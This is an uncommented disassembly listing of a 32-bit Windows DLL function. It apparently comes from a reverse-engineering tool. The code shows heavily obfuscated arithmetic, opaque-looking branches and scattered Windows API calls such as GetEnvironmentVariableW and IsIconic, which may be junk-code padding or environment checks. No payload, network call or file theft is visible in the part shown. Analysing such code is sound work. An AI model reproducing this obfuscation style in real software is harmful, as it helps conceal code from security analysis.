mov byte [ebp - 0x12], dl
mov ecx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x38]
movzx edx, word [0x100cd094]
not edx
movzx eax, byte [ebp - 0x13]
xor eax, edx
cdq
push esi
push ecx
push edx
push eax
call fcn.10099890
mov dword [0x100cd0ac], eax
mov eax, dword [0x100cd104]
imul eax, dword [0x100cd0c8]
mov ecx, dword [0x100cd104]
or ecx, eax
mov dword [0x100cd104], ecx
jmp 0x1003cea1
movzx edx, byte [ebp - 0x14]
movsx eax, word [0x100cd108]
add eax, edx
mov word [0x100cd108], ax
movzx ecx, word [ebp - 0x1c]
test ecx, ecx
je 0x1003ce5a
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x404], edx
mov dword [ebp - 0x400], eax
jmp 0x1003ce6e
movzx eax, word [0x100cd10c]
cdq
mov dword [ebp - 0x404], eax
mov dword [ebp - 0x400], edx
mov ecx, dword [ebp - 0x404]
mov dword [0x100cd0a8], ecx
xor edx, edx
mov dword [ebp - 0x70], 0xae83252c
mov dword [ebp - 0x6c], edx
movsx eax, byte [0x100cd083]
sar eax, 5
cdq
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], edx
movsx eax, byte [0x100cd096]
mov dword [ebp - 0x5c], eax
jmp 0x1003cf1c
movsx eax, byte [0x100cd096]
cdq
mov ecx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x38]
sub ecx, eax
sbb esi, edx
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
sub edx, ecx
sbb eax, esi
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], eax
movsx eax, word [0x100cd0ec]
cdq
add eax, dword [0x100cd0a0]
adc edx, dword [0x100cd0a4]
mov dword [0x100cd0a0], eax
mov dword [0x100cd0a4], edx
movsx ecx, word [ebp - 0x20]
sub ecx, 0xaf
mov word [ebp - 0x30], cx
movzx edx, byte [0x100cd07f]
movsx eax, word [0x100cd0dc]
add eax, edx
mov word [0x100cd0dc], ax
mov eax, dword [0x100cd104]
sub eax, 0x44
cdq
mov dword [0x100cd0f8], eax
mov dword [0x100cd0fc], edx
imul ecx, dword [ebp - 0xec], 0x26d
mov edx, dword [ebp - 0xec]
or edx, dword [ebp - 0x4f4]
imul edx, ecx
cmp dword [ebp - 0xec], edx
je 0x1003d49c
mov eax, dword [ebp - 0x60]
xor ecx, ecx
mov dword [ebp - 0x540], eax
mov dword [ebp - 0x53c], ecx
mov edx, dword [ebp - 0x53c]
cmp edx, dword [ebp - 0x6c]
ja 0x1003cf76
jb 0x1003cf6a
mov eax, dword [ebp - 0x540]
cmp eax, dword [ebp - 0x70]
jae 0x1003cf76
mov dword [ebp - 0x1e4], 1
jmp 0x1003cf80
mov dword [ebp - 0x1e4], 0
cmp dword [ebp - 0x60], 0x20
jae 0x1003cf92
mov dword [ebp - 0x1e8], 1
jmp 0x1003cf9c
mov dword [ebp - 0x1e8], 0
mov ecx, dword [ebp - 0x1e4]
cmp ecx, dword [ebp - 0x1e8]
jle 0x1003cfba
call dword [sym.imp.USER32.dll_GetCapture]
mov byte [0x100cd07f], al
jmp 0x1003d053
movsx edx, word [ebp - 0x20]
test edx, edx
je 0x1003d053
mov eax, 4
imul ecx, eax, 0x150b
mov dx, word [ecx + 0x10225518]
mov word [0x100cd0dc], dx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x40]
xor esi, esi
push ecx
push eax
push esi
push edx
call fcn.10099890
mov ecx, dword [ebp - 0x40]
sub ecx, eax
mov dword [ebp - 0x40], ecx
mov edx, dword [0x100cd0a8]
sub edx, 0x79ba125e
mov word [ebp - 0x1c], dx
movsx eax, word [0x100cd108]
sar eax, 6
mov byte [ebp - 0x11], al
movsx ecx, word [ebp - 0x34]
shl ecx, 5
mov word [ebp - 0x24], cx
movsx edx, word [0x100cd098]
test edx, edx
jne 0x1003d03c
mov eax, 1
mov word [ebp - 0x98], ax
jmp 0x1003d045
xor ecx, ecx
mov word [ebp - 0x98], cx
mov dx, word [ebp - 0x98]
mov word [0x100cd098], dx
movzx eax, byte [0x100cd082]
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
movzx ecx, word [ebp - 0x1c]
test ecx, ecx
jge 0x1003d075
mov dword [ebp - 0x1ec], 1
jmp 0x1003d07f
mov dword [ebp - 0x1ec], 0
movzx edx, word [ebp - 0x1c]
cmp edx, 0x1b
jge 0x1003d094
mov dword [ebp - 0x1f0], 1
jmp 0x1003d09e
mov dword [ebp - 0x1f0], 0
mov eax, dword [ebp - 0x1ec]
cmp eax, dword [ebp - 0x1f0]
jg 0x1003d23c
movzx ecx, byte [ebp - 0x12]
movzx edx, byte [ebp - 0x13]
cmp edx, ecx
jle 0x1003d0c8
mov dword [ebp - 0x1f4], 1
jmp 0x1003d0d2
mov dword [ebp - 0x1f4], 0
movzx eax, byte [ebp - 0x13]
cmp eax, 0x60
jle 0x1003d0e7
mov dword [ebp - 0x1f8], 1
jmp 0x1003d0f1
mov dword [ebp - 0x1f8], 0
mov ecx, dword [ebp - 0x1f4]
cmp ecx, dword [ebp - 0x1f8]
jg 0x1003d183
mov edx, dword [0x100cd0ac]
movzx eax, word [0x100cd10c]
lea ecx, [eax + edx + 0x87]
mov word [0x100cd10c], cx
mov byte [0x100cd06f], 0x40
mov edx, dword [0x100cdb38]
mov dword [ebp - 0x44], edx
movsx eax, word [0x100cd098]
xor eax, 0x7a8b6d3f
jne 0x1003d150
xor ecx, ecx
mov dword [ebp - 0x548], 1
mov dword [ebp - 0x544], ecx
jmp 0x1003d15b
xorps xmm0, xmm0
movlpd qword [ebp - 0x548], xmm0
movsx eax, word [0x100cd0e8]
cdq
push 0x7c0cc
push 0xdc8990d6
push edx
push eax
call fcn.10099890
add eax, dword [ebp - 0x548]
mov word [ebp - 0x28], ax
jmp 0x1003d237
movzx eax, byte [ebp - 0x13]
cdq
sub eax, 0x86afe53f
mov byte [0x100cd06f], al
mov edx, dword [0x100cd0c0]
mov eax, dword [0x100cd0c4]
mov dword [ebp - 0x550], edx
mov dword [ebp - 0x54c], eax
mov ecx, dword [ebp - 0x550]
or ecx, dword [ebp - 0x54c]
jne 0x1003d1c3
mov dword [ebp - 0x1fc], 1
jmp 0x1003d1cd
mov dword [ebp - 0x1fc], 0
movsx eax, byte [ebp - 0x11]
or eax, dword [ebp - 0x1fc]
cdq
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
movsx edx, word [0x100cd098]
add edx, 0xe784
mov byte [ebp - 0x14], dl
mov ecx, dword [0x100cd088]
mov edx, dword [0x100cd08c]
mov dword [ebp - 0x7e8], edx
movsx eax, byte [0x100cd06f]
cdq
mov esi, eax
sub esi, ecx
movsx eax, byte [0x100cd06f]
cdq
sub eax, esi
mov byte [0x100cd06f], al
movsx eax, word [ebp - 0x2c]
sar eax, 8
mov byte [0x100cd06f], al
mov ecx, dword [0x100cd0b0]
sub ecx, 0x1b
mov word [0x100cd0d8], cx
jmp 0x1003d3c1
cmp dword [0x100cd0e0], 0
je 0x1003d2fe
movsx edx, byte [0x100cd083]
add edx, 0xe
mov word [0x100cd0b8], dx
movzx eax, word [ebp - 0x28]
mov ecx, dword [0x100cd0e4]
xor ecx, eax
mov edx, dword [0x100cd0e4]
imul edx, ecx
mov dword [0x100cd0e4], edx
movsx eax, byte [0x100cd026]
movzx ecx, word [ebp - 0x1c]
imul eax, ecx
cdq
mov edx, dword [ebp - 0x54]
sub edx, eax
mov word [ebp - 0x28], dx
mov eax, dword [0x100cd118]
add eax, 0x2a65
mov ecx, dword [0x100cd11c]
adc ecx, 0
mov edx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x38]
add edx, eax
adc esi, ecx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], esi
movsx eax, word [0x100cd0d8]
xor eax, dword [0x100cd0e0]
movsx ecx, word [0x100cd0d8]
sub ecx, eax
mov word [0x100cd0d8], cx
xor edx, edx
mov eax, dword [0x100cd0f8]
sub eax, dword [0x100cd0a8]
mov ecx, dword [0x100cd0fc]
sbb ecx, edx
and eax, dword [0x100cd0f8]
and ecx, dword [0x100cd0fc]
mov dword [0x100cd0f8], eax
mov dword [0x100cd0fc], ecx
jmp 0x1003d3c1
mov edx, dword [ebp - 0x78]
or edx, dword [ebp - 0x74]
je 0x1003d3c1
movsx eax, word [ebp - 0x20]
cdq
mov ecx, dword [0x100cd0c0]
mov esi, dword [0x100cd0c4]
push edx
push eax
push esi
push ecx
call fcn.10099890
mov ecx, dword [0x100cd0c0]
mov esi, dword [0x100cd0c4]
add ecx, eax
adc esi, edx
mov dword [0x100cd0c0], ecx
mov dword [0x100cd0c4], esi
mov edx, dword [0x100cd088]
mov eax, dword [0x100cd08c]
sub edx, 1
sbb eax, 0
mov dword [0x100cd088], edx
mov dword [0x100cd08c], eax
movzx ecx, byte [0x100cd027]
mov dword [ebp - 0x4c], ecx
mov edx, dword [0x100cd0ac]
sub edx, 0x92b0
mov word [ebp - 0x24], dx
imul eax, dword [0x100cd0ac], 0xe3b79240
mov ecx, dword [0x100cd100]
sub ecx, eax
mov dword [0x100cd100], ecx
movzx eax, word [0x100cd10c]
cdq
mov ecx, dword [0x100cd0b0]
sub ecx, eax
mov eax, dword [0x100cd0b4]
sbb eax, edx
mov edx, dword [0x100cd0b0]
sub edx, ecx
mov ecx, dword [0x100cd0b4]
sbb ecx, eax
mov dword [0x100cd0b0], edx
mov dword [0x100cd0b4], ecx
xor edx, edx
mov byte [ebp - 0x87], dl
push 0x104
lea eax, [ebp - 0x17a0]
push eax
lea ecx, [ebp - 0x966]
push ecx
lea ecx, [ebp - 0x87]
call fcn.10002b80
mov ecx, eax
call fcn.10055630
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
jne 0x1003d49c
push 0
push 0x3f
push 0x28
push 0
push 0
push 3
push 0x5e
call fcn.1005c4d0
add esp, 0x1c
movsx eax, al
cdq
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov edx, dword [ebp - 0x80]
or edx, dword [ebp - 0x7c]
je 0x1003d432
mov eax, dword [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov byte [ebp - 0x12], al
mov ecx, dword [ebp - 0x70]
xor ecx, 0x36ad8612
mov byte [0x100cd047], cl
movsx eax, byte [ebp - 0x11]
add eax, dword [ebp - 0x58]
cdq
add eax, dword [ebp - 0x80]
mov dword [ebp - 0x58], eax
movzx edx, byte [0x100cd07f]
movzx eax, byte [0x100cd07f]
sub eax, edx
mov byte [0x100cd07f], al
mov ecx, dword [0x100cd100]
not ecx
movzx edx, word [ebp - 0x24]
sub edx, ecx
not edx
mov eax, dword [ebp - 0x58]
imul eax, edx
mov byte [0x100cd047], al
movsx eax, word [ebp - 0x2c]
cdq
add eax, 0x15baf8a1
adc edx, 0x5fd76
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], edx
xor eax, eax
jmp 0x100423d0
movzx ecx, byte [ebp - 0x12]
push ecx
call dword [sym.imp.USER32.dll_IsIconic]
mov byte [0x100cd096], al
mov edx, dword [ebp - 0x200]
imul edx, dword [ebp - 0x200]
add edx, dword [ebp - 0x4f8]
mov eax, dword [ebp - 0xac]
add eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0xac]
add ecx, dword [ebp - 0xac]
imul ecx, eax
cmp ecx, edx
je 0x1003ebe5
xor edx, edx
mov word [0x100cd10c], dx
xor eax, eax
mov dword [ebp - 0x78], 1
mov dword [ebp - 0x74], eax
movsx ecx, word [ebp - 0x20]
sar ecx, 4
mov byte [0x100cd047], cl
movsx eax, word [ebp - 0x34]
cdq
push edx
push eax
mov edx, dword [0x100cd0fc]
push edx
mov eax, dword [0x100cd0f8]
push eax
call fcn.10099890
mov dword [0x100cd0f8], eax
mov dword [0x100cd0fc], edx
movsx ecx, word [0x100cd098]
and ecx, 0x2e246df8
or ecx, dword [0x100cd0e0]
mov dword [0x100cd0e0], ecx
movsx eax, byte [ebp - 0x11]
cdq
mov ecx, eax
movsx eax, byte [0x100cd026]
cdq
mov edx, dword [ebp - 0x80]
sub edx, eax
add edx, ecx
mov eax, dword [0x100cd0e0]
sub eax, dword [0x100cd084]
movsx ecx, byte [ebp - 0x11]
imul ecx, eax
not ecx
add ecx, edx
mov word [0x100cd0dc], cx
movzx edx, word [0x100cd10c]
mov dword [ebp - 0x4fc], edx
cmp dword [ebp - 0x4fc], 0
je 0x1003d58f
jmp 0x1003d66d
movsx ax, byte [0x100cd096]
mov word [0x100cd0e8], ax
mov ecx, 0x36
mov word [0x100cd108], cx
mov edx, dword [0x100cd0c0]
mov eax, dword [0x100cd0c4]
mov dword [ebp - 0x558], edx
mov dword [ebp - 0x554], eax
mov ecx, dword [ebp - 0x558]
or ecx, dword [ebp - 0x554]
jne 0x1003d5da
mov dword [ebp - 0x208], 1
jmp 0x1003d5e4
mov dword [ebp - 0x208], 0
movsx edx, byte [0x100cd096]
test edx, edx
jne 0x1003d5fb
mov dword [ebp - 0x204], 1
jmp 0x1003d605
mov dword [ebp - 0x204], 0
movsx eax, byte [0x100cd06f]
imul eax, dword [ebp - 0x204]
not eax
mov ecx, dword [ebp - 0x4c]
sub ecx, eax
mov edx, dword [0x100cd090]
and edx, dword [ebp - 0x208]
mov eax, dword [0x100cd0ac]
sub eax, dword [0x100cd0e0]
not eax
add eax, edx
not eax
add eax, ecx
xor ecx, ecx
mov dword [0x100cd0a0], eax
mov dword [0x100cd0a4], ecx
mov edx, dword [ebp - 0x60]
xor edx, 0x8a
mov dword [0x100cd0e4], edx
movsx eax, byte [0x100cd047]
mov ecx, dword [ebp - 0x58]
add ecx, eax
mov dword [ebp - 0x58], ecx
mov edx, dword [0x100cdb38]
mov dword [ebp - 0x60], edx
mov dword [ebp - 4], 8
mov ecx, 9
mov esi, str.functionnotsupport
lea edi, [ebp - 0x888]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x888]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov word [ebp - 0x2c], ax
jmp 0x1003d79a
mov dword [ebp - 4], 0xffffffff
jmp 0x1003d7aa
xor eax, eax
mov byte [ebp - 0x88], al
push 0x104
lea ecx, [ebp - 0xb70]
push ecx
lea edx, [ebp - 0x922]
push edx
lea ecx, [ebp - 0x88]
call fcn.10002d40
mov ecx, eax
call fcn.100557b0
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
jne 0x1003ebe5
movsx eax, word [0x100cd0d8]
cmp eax, dword [0x100cd0c8]
jl 0x1003d801
mov dword [ebp - 0x218], 1
jmp 0x1003d80b
mov dword [ebp - 0x218], 0
movsx ecx, word [0x100cd0d8]
cmp ecx, 0x19
jl 0x1003d823
mov dword [ebp - 0x21c], 1
jmp 0x1003d82d
mov dword [ebp - 0x21c], 0
mov edx, dword [ebp - 0x218]
cmp edx, dword [ebp - 0x21c]
jg 0x1003d93c
push 0
call fcn.1005de10
add esp, 4
mov word [ebp - 0x28], ax
movsx eax, byte [0x100cd047]
cmp eax, dword [ebp - 0x60]
jb 0x1003d937
cmp dword [ebp - 0x60], 0
je 0x1003d937
mov cx, word [0x100cd0b8]
add cx, 1
mov word [0x100cd0b8], cx
movsx edx, word [0x100cd0e8]
imul edx, dword [ebp - 0x40]
test edx, edx
jne 0x1003d89c
xor eax, eax
mov dword [ebp - 0x414], 1
mov dword [ebp - 0x410], eax
jmp 0x1003d8a7
xorps xmm0, xmm0
movlpd qword [ebp - 0x414], xmm0
movsx ecx, word [ebp - 0x20]
imul ecx, dword [ebp - 0x48]
test ecx, ecx
jne 0x1003d8c7
xor edx, edx
mov dword [ebp - 0x40c], 1
mov dword [ebp - 0x408], edx
jmp 0x1003d8d2
xorps xmm0, xmm0
movlpd qword [ebp - 0x40c], xmm0
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
sub eax, dword [ebp - 0x54]
sbb ecx, dword [ebp - 0x50]
push ecx
push eax
mov edx, dword [ebp - 0x408]
push edx
mov eax, dword [ebp - 0x40c]
push eax
call fcn.10099890
xor ecx, ecx
mov esi, dword [0x100cd0f8]
sub esi, dword [ebp - 0x40]
mov edi, dword [0x100cd0fc]
sbb edi, ecx
add esi, dword [ebp - 0x414]
adc edi, dword [ebp - 0x410]
push edx
push eax
push edi
push esi
call fcn.10099890
mov dword [ebp - 0x60], eax
movzx edx, byte [ebp - 0x12]
add edx, 0xd0
mov byte [0x100cd047], dl
mov eax, 0x5fc3
mov word [ebp - 0x2c], ax
jmp 0x1003db76
movsx ecx, byte [0x100cd06f]
test ecx, ecx
je 0x1003d99d
mov edx, dword [0x100cd088]
mov eax, dword [0x100cd08c]
mov dword [ebp - 0x7ec], eax
mov word [ebp - 0x2c], dx
mov ecx, dword [ebp - 0x40]
sub ecx, 0xac
mov dword [ebp - 0x48], ecx
mov edx, 1
mov word [0x100cd108], dx
mov ax, word [0x100cd098]
sub ax, 1
mov word [0x100cd098], ax
mov ecx, dword [0x100cdb38]
xor edx, edx
mov dword [0x100cd0b0], ecx
mov dword [0x100cd0b4], edx
jmp 0x1003db76
mov eax, dword [0x100cd0e0]
xor ecx, ecx
mov dword [ebp - 0x568], eax
mov dword [ebp - 0x564], ecx
mov edx, dword [ebp - 0x54]
cmp edx, dword [ebp - 0x568]
jne 0x1003d9d2
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x564]
jne 0x1003d9d2
mov dword [ebp - 0x220], 1
jmp 0x1003d9dc
mov dword [ebp - 0x220], 0
mov ecx, dword [0x100cd084]
add ecx, dword [ebp - 0x220]
je 0x1003da5a
mov edx, dword [0x100cd084]
xor eax, eax
push 0xab973
push 0x9cebb5d1
push eax
push edx
call fcn.10099890
mov dword [0x100cd0a0], eax
mov dword [0x100cd0a4], edx
mov ecx, 0x1117f
mov dword [0x100cd0d0], 0x9cca0bbe
mov dword [0x100cd0d4], ecx
movsx edx, word [ebp - 0x2c]
movsx eax, word [ebp - 0x2c]
imul eax, edx
mov word [ebp - 0x2c], ax
movsx eax, word [0x100cd0ec]
cdq
sub eax, 0xa7cca0a0
mov word [0x100cd108], ax
movzx ecx, byte [ebp - 0x14]
add ecx, 0x71a470d0
mov byte [0x100cd026], cl
jmp 0x1003db76
mov edx, dword [0x100cd0f8]
or edx, dword [0x100cd0fc]
je 0x1003db76
movzx eax, byte [0x100cd06e]
test eax, eax
je 0x1003db76
movzx ecx, word [0x100cd094]
mov edx, dword [0x100cd0c8]
imul edx, ecx
test edx, edx
jne 0x1003da9b
mov dword [ebp - 0x228], 1
jmp 0x1003daa5
mov dword [ebp - 0x228], 0
cmp dword [0x100cd100], 0
jne 0x1003daba
mov dword [ebp - 0x224], 1
jmp 0x1003dac4
mov dword [ebp - 0x224], 0
mov eax, dword [ebp - 0x5c]
add eax, dword [ebp - 0x224]
jne 0x1003dadb
mov dword [ebp - 0x22c], 1
jmp 0x1003dae5
mov dword [ebp - 0x22c], 0
movsx eax, byte [0x100cd06f]
cdq
add eax, dword [ebp - 0x78]
adc edx, dword [ebp - 0x74]
not eax
not edx
xor ecx, ecx
sub ecx, eax
mov esi, 0
sbb esi, edx
mov eax, dword [ebp - 0x228]
sub eax, dword [ebp - 0x22c]
cdq
sub eax, ecx
sbb edx, esi
not eax
not edx
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], edx
mov ecx, dword [0x100cd088]
mov esi, dword [0x100cd08c]
movzx eax, word [ebp - 0x28]
cdq
push esi
push ecx
push edx
push eax
call fcn.10099890
mov ecx, eax
mov esi, edx
movzx eax, word [ebp - 0x28]
cdq
push esi
push ecx
push edx
push eax
call fcn.10099890
mov word [ebp - 0x28], ax
mov edx, dword [0x100cd100]
add edx, dword [ebp - 0x48]
mov dword [ebp - 0x48], edx
movsx eax, word [0x100cd0ec]
imul ecx, eax, 0xa5
mov byte [str.6BlockUpgradeIfDriv], cl
mov edx, dword [0x100cd0ac]
mov word [ebp - 0x2c], dx
mov dword [ebp - 0xf0], 0
jmp 0x1003db91
mov eax, dword [ebp - 0xf0]
add eax, 2
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0xf8
jge 0x1003dd95
movzx ecx, byte [ebp - 0x12]
cmp dword [ebp - 0x48], ecx
jbe 0x1003dbb6
mov dword [ebp - 0x230], 1
jmp 0x1003dbc0
mov dword [ebp - 0x230], 0
cmp dword [ebp - 0x48], 0x50
jbe 0x1003dbd2
mov dword [ebp - 0x234], 1
jmp 0x1003dbdc
mov dword [ebp - 0x234], 0
mov edx, dword [ebp - 0x230]
cmp edx, dword [ebp - 0x234]
jg 0x1003dd00
movsx eax, word [0x100cd110]
test eax, eax
je 0x1003dcfb
mov dword [ebp - 4], 0xa
mov ecx, dword [0x100cd0c0]
mov edx, dword [0x100cd0c4]
mov dword [ebp - 0x570], ecx
mov dword [ebp - 0x56c], edx
mov eax, dword [ebp - 0x570]
or eax, dword [ebp - 0x56c]
je 0x1003dc79
mov ecx, dword [ebp - 0x40]
sub ecx, 0x81ae
xor edx, edx
mov dword [0x100cd0f8], ecx
mov dword [0x100cd0fc], edx
mov eax, dword [ebp - 0x48]
sub eax, 1
mov dword [ebp - 0x48], eax
push 0
push 0xc5cc
mov ecx, dword [0x100cd0d4]
push ecx
mov edx, dword [0x100cd0d0]
push edx
call fcn.10099890
mov word [ebp - 0x24], ax
movsx eax, byte [0x100cd047]
mov dword [ebp - 0x48], eax
movzx ecx, byte [ebp - 0x12]
mov dword [ebp - 0x58], ecx
jmp 0x1003dceb
mov dword [ebp - 4], 0xffffffff
jmp 0x1003dcfb
jmp 0x1003dd81
movsx eax, word [0x100cd098]
sub eax, 0x1c014f3f
mov byte [0x100cd083], al
movsx eax, byte [ebp - 0x11]
sub eax, 0x72e2
cdq
mov dword [0x100cd0a0], eax
mov dword [0x100cd0a4], edx
mov ecx, dword [0x100cd0c0]
mov edx, dword [0x100cd0c4]
push 0
push 0x48fd
push edx
push ecx
call fcn.10099890
mov dword [0x100cd104], eax
mov eax, 0xb6
mov word [ebp - 0x1c], ax
mov ecx, dword [0x100cd0f0]
not ecx
mov edx, dword [0x100cd100]
imul edx, ecx
not edx
xor eax, eax
mov ecx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x38]
sub ecx, 0x9fb6823d
sbb esi, 0
push eax
push edx
push esi
push ecx
call fcn.10099890
not eax
mov word [ebp - 0x24], ax
mov dl, byte [str.6BlockUpgradeIfDriv]
add dl, 1
mov byte [str.6BlockUpgradeIfDriv], dl
jmp 0x1003db82
mov eax, dword [0x100cdb38]
mov dword [ebp - 0xf8], eax
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x578], ecx
mov dword [ebp - 0x574], edx
mov eax, dword [ebp - 0x578]
or eax, dword [ebp - 0x574]
je 0x1003e1ab
cmp dword [ebp - 0x44], 0
je 0x1003e0db
mov ecx, dword [0x100cd104]
cmp ecx, dword [0x100cd0e4]
jbe 0x1003dfa9
mov dword [ebp - 0xf4], 0
jmp 0x1003ddfb
mov edx, dword [ebp - 0xf4]
add edx, 2
mov dword [ebp - 0xf4], edx
cmp dword [ebp - 0xf4], 0x3b8
jge 0x1003dfa4
mov dword [ebp - 4], 0xc
movsx eax, word [0x100cd110]
mov ecx, dword [ebp - 0x60]
sub ecx, eax
mov byte [ebp - 0x14], cl
movzx edx, byte [0x100cd082]
imul eax, edx, 0x2f
cdq
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], edx
movsx eax, word [0x100cd0d8]
cdq
mov esi, dword [ebp - 0x3c]
mov edi, dword [ebp - 0x38]
not esi
not edi
or esi, dword [ebp - 0x78]
or edi, dword [ebp - 0x74]
add esi, eax
adc edi, edx
not esi
not edi
mov ecx, dword [0x100cd0c0]
mov ebx, dword [0x100cd0c4]
movsx eax, word [ebp - 0x34]
cdq
add eax, ecx
adc edx, ebx
movsx ecx, word [ebp - 0x20]
mov dword [ebp - 0x504], eax
mov eax, ecx
mov dword [ebp - 0x500], edx
cdq
mov ecx, dword [0x100cd0a0]
sub ecx, eax
mov eax, dword [0x100cd0a4]
sbb eax, edx
mov ebx, dword [ebp - 0x500]
push ebx
mov ebx, dword [ebp - 0x504]
push ebx
push eax
push ecx
call fcn.10099890
push edi
push esi
push edx
push eax
call fcn.10099890
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
movsx ecx, word [0x100cd0ec]
movzx edx, word [0x100cd0b8]
add edx, ecx
mov ax, word [0x100cd0b8]
mov cx, dx
shl ax, cl
mov word [0x100cd0b8], ax
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0x7f4], edx
xor ecx, 0x8d
mov word [ebp - 0x1c], cx
jmp 0x1003df7f
mov dword [ebp - 4], 0xffffffff
jmp 0x1003df8f
mov ax, word [0x100cd110]
add ax, 1
mov word [0x100cd110], ax
jmp 0x1003ddec
jmp 0x1003e0d6
movsx ecx, byte [0x100cd083]
cmp ecx, 0xa343
jge 0x1003dfc4
mov dword [ebp - 0x240], 1
jmp 0x1003dfce
mov dword [ebp - 0x240], 0
movzx edx, word [ebp - 0x30]
imul eax, edx, 0xffffff3a
cmp eax, dword [ebp - 0x240]
jne 0x1003e0d6
movzx ecx, byte [0x100cd06e]
sub ecx, 0xbd30
mov byte [ebp - 0x13], cl
movzx edx, word [ebp - 0x30]
movzx eax, word [0x100cd0b8]
add eax, edx
movzx ecx, word [0x100cd0b8]
sub ecx, eax
mov word [0x100cd0b8], cx
movsx edx, word [ebp - 0x34]
imul eax, edx, 0x85
mov word [ebp - 0x18], ax
cmp dword [0x100cd0e4], 0
jne 0x1003e034
mov dword [ebp - 0x244], 1
jmp 0x1003e03e
mov dword [ebp - 0x244], 0
movzx ecx, word [ebp - 0x24]
add ecx, dword [ebp - 0x244]
jne 0x1003e056
mov dword [ebp - 0x248], 1
jmp 0x1003e060
mov dword [ebp - 0x248], 0
movsx edx, word [ebp - 0x20]
xor edx, dword [ebp - 0x248]
not edx
movzx eax, byte [0x100cd06e]
not eax
movsx ecx, byte [0x100cd047]
mov esi, dword [ebp - 0x60]
sub esi, ecx
xor esi, eax
sub esi, edx
xor edx, edx
mov dword [0x100cd118], esi
mov dword [0x100cd11c], edx
mov eax, dword [0x100cd0c8]
cdq
xor eax, 0x1d803f9d
xor edx, 0xa07a6
mov ecx, dword [0x100cd0b0]
sub ecx, eax
mov eax, dword [0x100cd0b4]
sbb eax, edx
mov dword [0x100cd0b0], ecx
mov dword [0x100cd0b4], eax
push 0
push 0xf74cc148
mov ecx, dword [ebp - 0x50]
push ecx
mov edx, dword [ebp - 0x54]
push edx
call fcn.10099890
mov word [ebp - 0x2c], ax
jmp 0x1003e1ab
mov eax, dword [0x100cd0ac]
cdq
mov ecx, eax
add ecx, dword [0x100cd0f8]
mov eax, dword [0x100cd0ac]
cdq
sub eax, ecx
mov dword [0x100cd0ac], eax
movzx eax, word [ebp - 0x24]
cdq
mov ecx, dword [ebp - 0x50]
push ecx
mov ecx, dword [ebp - 0x54]
push ecx
push edx
push eax
call fcn.10099890
mov ecx, eax
movzx eax, word [ebp - 0x24]
cdq
add eax, ecx
mov word [ebp - 0x24], ax
mov edx, dword [0x100cd0b0]
sub edx, dword [ebp - 0x70]
mov word [ebp - 0x34], dx
movzx eax, word [ebp - 0x18]
test eax, eax
jne 0x1003e140
xor ecx, ecx
mov dword [ebp - 0x41c], 1
mov dword [ebp - 0x418], ecx
jmp 0x1003e14b
xorps xmm0, xmm0
movlpd qword [ebp - 0x41c], xmm0
cmp dword [0x100cd084], 0
jne 0x1003e160
mov dword [ebp - 0x24c], 1
jmp 0x1003e16a
mov dword [ebp - 0x24c], 0
mov eax, dword [0x100cd0ac]
not eax
sub eax, dword [ebp - 0x24c]
cdq
mov esi, eax
mov edi, edx
mov edx, dword [0x100cd088]
mov eax, dword [0x100cd08c]
push eax
push edx
mov ecx, dword [ebp - 0x418]
push ecx
mov edx, dword [ebp - 0x41c]
push edx
call fcn.10099890
push edi
push esi
push edx
push eax
call fcn.10099890
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0xf8]
add eax, 0x292
mov dword [ebp - 0x268], eax
mov eax, dword [ebp - 0x4c]
cdq
mov ecx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x38]
mov dword [ebp - 0x580], ecx
mov dword [ebp - 0x57c], esi
mov dword [ebp - 0x588], eax
mov dword [ebp - 0x584], edx
mov edx, dword [ebp - 0x57c]
cmp edx, dword [ebp - 0x584]
jg 0x1003e394
jl 0x1003e204
mov eax, dword [ebp - 0x580]
cmp eax, dword [ebp - 0x588]
jae 0x1003e394
movzx ecx, word [ebp - 0x28]
movzx edx, byte [0x100cd082]
cmp edx, ecx
jg 0x1003e22b
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
xor ecx, ecx
mov dword [0x100cd0d0], eax
mov dword [0x100cd0d4], ecx
jmp 0x1003e38f
movsx edx, word [ebp - 0x2c]
movsx eax, word [0x100cd0ec]
cmp eax, edx
jge 0x1003e246
mov dword [ebp - 0x250], 1
jmp 0x1003e250
mov dword [ebp - 0x250], 0
movzx ecx, word [0x100cd0b8]
cmp ecx, dword [ebp - 0x40]
je 0x1003e268
mov dword [ebp - 0x254], 1
jmp 0x1003e272
mov dword [ebp - 0x254], 0
mov edx, dword [ebp - 0x250]
imul edx, dword [ebp - 0x254]
not edx
test edx, edx
je 0x1003e38f
xor eax, eax
